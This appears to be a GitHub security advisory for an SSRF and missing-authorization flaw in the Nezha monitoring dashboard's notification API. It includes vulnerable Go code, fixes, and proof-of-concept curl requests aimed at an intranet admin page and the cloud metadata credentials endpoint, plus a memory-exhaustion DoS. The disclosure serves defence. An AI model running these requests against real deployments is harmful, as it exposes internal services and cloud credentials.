GHSA-W4G9-MXGG-J532
Vulnerability from github – Published: 2026-05-23 00:08 – Updated: 2026-05-23 00:08Summary
nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the entire response body (no size limit) back to the caller on any non-2xx response.
Net effect: a low-privilege RoleMember can read intranet HTTP response bodies via the dashboard's hub.
Affected versions
Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.
Reachability chain
cmd/dashboard/controller/controller.go:121-122
auth.GET("/notification", listHandler(listNotification))
auth.POST("/notification", commonHandler(createNotification)) // <-- commonHandler, not adminHandler
For comparison, /user routes ARE gated by adminHandler:
auth.GET("/user", adminHandler(listUser))
auth.POST("/user", adminHandler(createUser))
auth.POST("/batch-delete/user", adminHandler(batchDeleteUser))
adminHandler (controller.go:220-236) explicitly enforces user.Role.IsAdmin(). commonHandler (controller.go:214-218) does not.
The vulnerable handler
// cmd/dashboard/controller/notification.go:46-83
func createNotification(c *gin.Context) (uint64, error) {
var nf model.NotificationForm
if err := c.ShouldBindJSON(&nf); err != nil { return 0, err }
var n model.Notification
n.UserID = getUid(c)
n.Name = nf.Name
n.RequestMethod = nf.RequestMethod
n.RequestType = nf.RequestType
n.RequestHeader = nf.RequestHeader
n.RequestBody = nf.RequestBody
n.URL = nf.URL
...
ns := model.NotificationServerBundle{Notification: &n, Server: nil, Loc: singleton.Loc}
if !nf.SkipCheck {
if err := ns.Send(singleton.Localizer.T("a test message")); err != nil {
return 0, err // <-- err.Error() reflects up to caller via newErrorResponse
}
}
...
}
Identical pattern in updateNotification (PATCH /notification/:id) at lines 97-146.
The reflection sink
// model/notification.go:113-159
func (ns *NotificationServerBundle) Send(message string) error {
var client *http.Client
n := ns.Notification
if n.VerifyTLS != nil && *n.VerifyTLS {
client = utils.HttpClient
} else {
client = utils.HttpClientSkipTlsVerify
}
reqBody, err := ns.reqBody(message)
if err != nil { return err }
reqMethod, err := n.reqMethod()
if err != nil { return err }
req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))
if err != nil { return err }
n.setContentType(req)
if err := n.setRequestHeader(req); err != nil { return err }
resp, err := client.Do(req)
if err != nil { return err }
defer func() { _ = resp.Body.Close() }()
if resp.StatusCode < 200 || resp.StatusCode > 299 {
body, _ := io.ReadAll(resp.Body) // <-- NO io.LimitReader
return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body))
} else {
_, _ = io.Copy(io.Discard, resp.Body)
}
return nil
}
The full body (no size limit) is concatenated into an error string. That error flows through commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...). The intranet response body is JSON-encoded back to the RoleMember caller.
Additional wrinkle: client = utils.HttpClientSkipTlsVerify when VerifyTLS is false — attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.
PoC
A. Read intranet admin-panel response body
curl -X POST -H "Authorization: Bearer <member-jwt>" \
-H "Content-Type: application/json" \
-d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
http://nezha-dashboard.example.com/api/v1/notification
Response:
{"success":false,"error":"401@Unauthorized <full HTML body of the admin login page, no size limit>"}
B. AWS IMDSv2 reachability + body leak
curl -X POST -H "Authorization: Bearer <member-jwt>" \
-H "Content-Type: application/json" \
-d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
http://nezha-dashboard.example.com/api/v1/notification
IMDSv2 returns 401 with a body explaining the missing token; that body is reflected.
C. DoS via large internal file
Because the body is read via unbounded io.ReadAll, a RoleMember pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.
Suggested fix
- Switch /notification routes to
adminHandler. Same fix for/alert-rule,/cron,/ddnsif they also issue user-URL requests synchronously. Compare with how/useris already guarded.
go
auth.POST("/notification", adminHandler(createNotification))
auth.PATCH("/notification/:id", adminHandler(updateNotification))
- SSRF-harden
NotificationServerBundle.Send(): - Resolve URL host once via
net.LookupIP; refuse private/loopback/link-local/CGNAT. - Pin
http.Transport.DialContextto the resolved IP — closes DNS-rebinding TOCTOU. -
Refuse non-http(s) schemes.
-
Cap response body:
io.LimitReader(resp.Body, 4096). 4 KB is plenty for surfacing webhook errors. -
Reconsider
VerifyTLS=falsetoggle on RoleMember-reachable paths — if the route remains member-reachable, at minimum cert validation should be enforced.
Severity
- CVSS 3.1: Medium —
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L≈ 6.4. PR:L because attacker needs aRoleMemberaccount (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS. - Auth: authenticated
RoleMember(Role == 1).
Reproduction environment
- Tested against:
nezhahq/nezha:v0.x(commit50dc8e660326b9f22990898142c58b7a5312b42a). - Code locations:
- Handler:
cmd/dashboard/controller/notification.go:46-83, 97-146 - Sink:
model/notification.go:113-159 - Auth gate:
cmd/dashboard/controller/controller.go:121-122(commonHandler), 214-236 (handler defs)
Reporter
Eddie Ran. Filed via reporter API (PVR enabled). nezha's SECURITY.md mentions email hi@nai.ba for vulnerability reports — happy to also send via email if the maintainer prefers.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/nezhahq/nezha"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.14.15-0.20260517022419-d06d539d34c1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46717"
],
"database_specific": {
"cwe_ids": [
"CWE-863",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-23T00:08:04Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nnezha\u0027s dashboard supports two user roles: `RoleAdmin` (Role==0) and `RoleMember` (Role==1). The notification routes `POST /api/v1/notification` and `PATCH /api/v1/notification/:id` are wired through `commonHandler` rather than `adminHandler` \u2014 so a `RoleMember` user can call them. These handlers synchronously `Send()` an HTTP request to a user-controlled URL and reflect the *entire* response body (no size limit) back to the caller on any non-2xx response.\n\nNet effect: a low-privilege `RoleMember` can read intranet HTTP response bodies via the dashboard\u0027s hub.\n\n## Affected versions\n\nCommit `50dc8e660326b9f22990898142c58b7a5312b42a` and earlier on `master`.\n\n## Reachability chain\n\n```\ncmd/dashboard/controller/controller.go:121-122\n auth.GET(\"/notification\", listHandler(listNotification))\n auth.POST(\"/notification\", commonHandler(createNotification)) // \u003c-- commonHandler, not adminHandler\n```\n\nFor comparison, `/user` routes ARE gated by `adminHandler`:\n\n```\nauth.GET(\"/user\", adminHandler(listUser))\nauth.POST(\"/user\", adminHandler(createUser))\nauth.POST(\"/batch-delete/user\", adminHandler(batchDeleteUser))\n```\n\n`adminHandler` (controller.go:220-236) explicitly enforces `user.Role.IsAdmin()`. `commonHandler` (controller.go:214-218) does not.\n\n## The vulnerable handler\n\n```go\n// cmd/dashboard/controller/notification.go:46-83\nfunc createNotification(c *gin.Context) (uint64, error) {\n var nf model.NotificationForm\n if err := c.ShouldBindJSON(\u0026nf); err != nil { return 0, err }\n var n model.Notification\n n.UserID = getUid(c)\n n.Name = nf.Name\n n.RequestMethod = nf.RequestMethod\n n.RequestType = nf.RequestType\n n.RequestHeader = nf.RequestHeader\n n.RequestBody = nf.RequestBody\n n.URL = nf.URL\n ...\n ns := model.NotificationServerBundle{Notification: \u0026n, Server: nil, Loc: singleton.Loc}\n if !nf.SkipCheck {\n if err := ns.Send(singleton.Localizer.T(\"a test message\")); err != nil {\n return 0, err // \u003c-- err.Error() reflects up to caller via newErrorResponse\n }\n }\n ...\n}\n```\n\nIdentical pattern in `updateNotification` (PATCH /notification/:id) at lines 97-146.\n\n## The reflection sink\n\n```go\n// model/notification.go:113-159\nfunc (ns *NotificationServerBundle) Send(message string) error {\n var client *http.Client\n n := ns.Notification\n if n.VerifyTLS != nil \u0026\u0026 *n.VerifyTLS {\n client = utils.HttpClient\n } else {\n client = utils.HttpClientSkipTlsVerify\n }\n reqBody, err := ns.reqBody(message)\n if err != nil { return err }\n reqMethod, err := n.reqMethod()\n if err != nil { return err }\n req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))\n if err != nil { return err }\n n.setContentType(req)\n if err := n.setRequestHeader(req); err != nil { return err }\n resp, err := client.Do(req)\n if err != nil { return err }\n defer func() { _ = resp.Body.Close() }()\n if resp.StatusCode \u003c 200 || resp.StatusCode \u003e 299 {\n body, _ := io.ReadAll(resp.Body) // \u003c-- NO io.LimitReader\n return fmt.Errorf(\"%d@%s %s\", resp.StatusCode, resp.Status, string(body))\n } else {\n _, _ = io.Copy(io.Discard, resp.Body)\n }\n return nil\n}\n```\n\nThe full body (no size limit) is concatenated into an error string. That error flows through `commonHandler \u2192 handle() \u2192 newErrorResponse(err) \u2192 c.JSON(http.StatusOK, ...)`. The intranet response body is JSON-encoded back to the `RoleMember` caller.\n\nAdditional wrinkle: `client = utils.HttpClientSkipTlsVerify` when `VerifyTLS` is false \u2014 attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.\n\n## PoC\n\n### A. Read intranet admin-panel response body\n\n```bash\ncurl -X POST -H \"Authorization: Bearer \u003cmember-jwt\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\":\"x\",\"url\":\"http://192.168.1.1/admin/index.html\",\"request_method\":1,\"request_type\":1,\"verify_tls\":false,\"skip_check\":false}\u0027 \\\n http://nezha-dashboard.example.com/api/v1/notification\n```\n\nResponse:\n```json\n{\"success\":false,\"error\":\"401@Unauthorized \u003cfull HTML body of the admin login page, no size limit\u003e\"}\n```\n\n### B. AWS IMDSv2 reachability + body leak\n\n```bash\ncurl -X POST -H \"Authorization: Bearer \u003cmember-jwt\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\":\"x\",\"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"request_method\":1,\"request_type\":1,\"verify_tls\":false,\"skip_check\":false}\u0027 \\\n http://nezha-dashboard.example.com/api/v1/notification\n```\n\nIMDSv2 returns 401 with a body explaining the missing token; that body is reflected.\n\n### C. DoS via large internal file\n\nBecause the body is read via unbounded `io.ReadAll`, a `RoleMember` pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.\n\n## Suggested fix\n\n1. **Switch /notification routes to `adminHandler`.** Same fix for `/alert-rule`, `/cron`, `/ddns` if they also issue user-URL requests synchronously. Compare with how `/user` is already guarded.\n\n ```go\n auth.POST(\"/notification\", adminHandler(createNotification))\n auth.PATCH(\"/notification/:id\", adminHandler(updateNotification))\n ```\n\n2. **SSRF-harden `NotificationServerBundle.Send()`:**\n - Resolve URL host once via `net.LookupIP`; refuse private/loopback/link-local/CGNAT.\n - Pin `http.Transport.DialContext` to the resolved IP \u2014 closes DNS-rebinding TOCTOU.\n - Refuse non-http(s) schemes.\n\n3. **Cap response body**: `io.LimitReader(resp.Body, 4096)`. 4 KB is plenty for surfacing webhook errors.\n\n4. **Reconsider `VerifyTLS=false` toggle on RoleMember-reachable paths** \u2014 if the route remains member-reachable, at minimum cert validation should be enforced.\n\n## Severity\n\n- **CVSS 3.1:** Medium \u2014 `AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L` \u2248 6.4. PR:L because attacker needs a `RoleMember` account (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS.\n- **Auth:** authenticated `RoleMember` (Role == 1).\n\n## Reproduction environment\n\n- Tested against: `nezhahq/nezha:v0.x` (commit `50dc8e660326b9f22990898142c58b7a5312b42a`).\n- Code locations:\n - Handler: `cmd/dashboard/controller/notification.go:46-83, 97-146`\n - Sink: `model/notification.go:113-159`\n - Auth gate: `cmd/dashboard/controller/controller.go:121-122` (commonHandler), 214-236 (handler defs)\n\n## Reporter\n\nEddie Ran. Filed via reporter API (PVR enabled). nezha\u0027s `SECURITY.md` mentions email `hi@nai.ba` for vulnerability reports \u2014 happy to also send via email if the maintainer prefers.",
"id": "GHSA-w4g9-mxgg-j532",
"modified": "2026-05-23T00:08:04Z",
"published": "2026-05-23T00:08:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-w4g9-mxgg-j532"
},
{
"type": "WEB",
"url": "https://github.com/nezhahq/nezha/commit/d06d539d34c143d842b91e2a64326e8c8f9bc405"
},
{
"type": "PACKAGE",
"url": "https://github.com/nezhahq/nezha"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.